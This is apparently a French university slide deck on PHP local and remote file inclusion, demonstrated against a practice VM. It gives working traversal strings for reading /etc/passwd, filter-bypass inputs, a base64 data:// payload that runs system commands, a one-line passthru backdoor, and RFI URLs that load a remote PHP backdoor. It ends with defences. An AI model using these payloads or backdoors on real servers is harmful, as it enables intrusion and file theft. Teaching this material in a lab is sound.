# File Inclusion ## aka LFI / RFI <i class="fa-brands fa-firefox-browser"></i> / <i class="fa-solid fa-desktop"></i> <br /><br /><br /><br /><br /><br /> <small> tapez `<prez>.html?<username-uca>` dans votre navigateur pour suivre le cours avec votre nom de vm</small> ### <i class="fas fa-cogs"></i> File Inclusion * paramètres HTTP non filtrés ```php include($_REQUEST['filename']); ``` * permet * d'exécuter du code distant * d'exécuter du code localement * accéder à des fichiers locaux sensibles * concerne [include](http://php.net/manual/fr/function.include.php), [include_once](http://php.net/manual/fr/function.include-once.php), [require](http://php.net/manual/fr/function.require.php), [require_once](http://php.net/manual/fr/function.require-once.php), [fopen](http://php.net/manual/fr/function.fopen.php) ### <i class="fas fa-ice-cream"></i> File Inclusion / types * Local File inclusion * Remote File inclusion ### <i class="fa-solid fa-bomb"></i> LFI / low * souvent appelé **Directory traversal** * permet d'accéder à des fichiers sensibles * [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=/etc/passwd) * marche aussi avec `/etc/hosts`, `~/.bashrc`, `~/.bash_history` ... * marche pas avec `/etc/shadow` Note: - open base dir - pas ou mal configiuré - par défaut ispconfig - anciennement safe_mode ### <i class="fa-solid fa-bomb"></i> LFI / low * paths absolus / paths relatifs (../.. ou ..\\..) * linux `/etc/passwd`, `../../../../../etc/hosts` * windows `c:\boot.ini`, `c:\windows`, `c:\windows\system32\drivers\etc\hosts` * [/?page=index.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=index.php) * boucle infinie = ca marche * invalider par (include|require)_once ### <i class="fa-solid fa-bomb"></i> RFI * inclusion de code arbitraire * Backdoor ou Remote shell * dépend de la configuration de php `/etc/php/7.4/apache2/php.ini` ```ini allow_url_include=On # just for test purpose ``` `$ sudo systemctl restart apache2` <i class="fa-solid fa-face-grin-squint-tears"></i> certains produits PHP nécessitent cette option! ### <i class="fa-solid fa-bomb"></i> RFI / low * <small>[/?page=http://perdu.com](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=http://perdu.com)</small> * <i class="fas fa-poop"></i> drôle mais pas très utile * <small>[https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> * <small>[/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://perso.limos.fr/mazenod/slides/1337/exploits/_server.php)</small> * <i class="fa-solid fa-poo"></i> un peu frustrant ### <i class="fa-solid fa-bomb"></i> FI / payloads / backdoor * Basiquement permet d'exécuter du code et / ou des commandes systèmes * version artisanale ```php echo passthru($_GET['cmd']); ``` * version plus robuste * [<i class='fab fa-github' aria-hidden='true'></i> dberliner/php-backdoor](https://github.com/dberliner/php-backdoor) * [r57shell.net](http://www.r57shell.net/) ### <i class="fa-solid fa-bomb"></i> RFI / payloads / backdoor * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php) <i class="fa-solid fa-thumbs-up"></i></small> * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php?c=ls) <i class="fa-solid fa-thumbs-down"></i></small> * <small>[/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=https://raw.githubusercontent.com/dberliner/php-backdoor/master/backdoor.php&c=ls) <i class="fa-solid fa-thumbs-up"></i></small> ## RFI / security medium ```php $file = str_replace( array( "http://", "https://" ), "", $file ); ``` <small> * [/?page=hthttp://tp://www.google.fr](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=hthttp://tp://www.google.fr) * échapper l'échappement * [/?page=php://filter/convert.base64-encode/resource=file1.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=file1.php) * récupère le code source php du fichier file1.php * [/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJob3N0bmFtZSIpOyA/Pgo=) * exécute `<?php system("hostname"); ?>` </small> Note: - discuter la surcharge du php.ini via .htaccess - solution ispconfig - on reste bien sur security low pour que ca marche ## LFI / security medium ```php $file = str_replace( array( "../", "..\\" ), "", $file ); ``` <small> * [/?page=../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../../../../../etc/hosts) * ne fonctionne plus * [/?page=../..././..././..././..././..././etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts) * permet d'échapper l'échappement * [/?page=/etc/passwd](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=../..././..././..././..././..././etc/hosts) * Les paths absolus fonctionnent toujours </small> ## LFI / security high ```php if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ``` <small> * accès au fichier caché * [/?page=file4.php](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file4.php) * [wrapper file](https://www.php.net/manual/en/wrappers.file.php) * [/?page=file:///etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file:///etc/hosts) * le dossier file n'existe pas mais php résout tout de même * [/?page=file/../../../../../../etc/hosts](http://vm-etu-vimazeno.local.isima.fr/vulnerabilities/fi/?page=file/../../../../../../etc/hosts) ## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * A l'appel de fonctions de type [require_once](http://php.net/manual/fr/function.require-once.php) ou [fopen](http://php.net/manual/fr/function.fopen.php) * le chemin vers le fichier est analysé * si le fichier est à l'extérieur des dossiers spécifiés * PHP refuse d'y accéder * les liens symboliques sont résolus * il n'est pas possible d'outre-passer cette restriction avec un lien symbolique ## <i class="fa fa-medkit"></i> [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * `.` inclue le fichier lui-même * problématique si on change le dossier courant avec [chdir()](http://php.net/manual/fr/function.chdir.php) * valeur typique ```ini /var/www/:/usr/share/php:/tmp ``` Note: - utilisé et configuré en automatique dans ISPConfig - on peut désactiver chdir ... ## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) * [realpath()](http://php.net/manual/fr/function.realpath.php) * converti tous les *.* et **..** en path absolue * retourne null pour un path inexistant * [basename()](http://php.net/manual/fr/function.basename.php) * extrait la partie contenant le nom du dossier précédant directement le nom du fichier * 2 fonctions qui combinées évitent les directory traversal ## <i class="fa fa-medkit"></i> [realpath()](http://php.net/manual/fr/function.realpath.php) and [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = $_GET['user']; $filename = "/home/users/".$username.".txt"; readfile($filename); ``` peut être sécurisé via [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php) ```php $username = basename(realpath($_GET['user'])); $filename = "/home/users/".$username.".txt"; readfile($filename); ``` ne préserve pas d'une LFI dans le même répertoire ## <i class="fa fa-medkit"></i> Se préserver * déscativer [allow_url_include](https://www.php.net/manual/en/filesystem.configuration.php) * utiliser [open_base_dir](http://php.net/manual/fr/ini.core.php#ini.open-basedir) * désactiver l'exécution de php sur les répertoires exposés qui n'en ont pas besoin (c.f. [upload](upload.htm)) * filtrer ses entrées * par listes blanches * avec [realpath()](http://php.net/manual/fr/function.realpath.php) et [basename()](http://php.net/manual/fr/function.basename.php)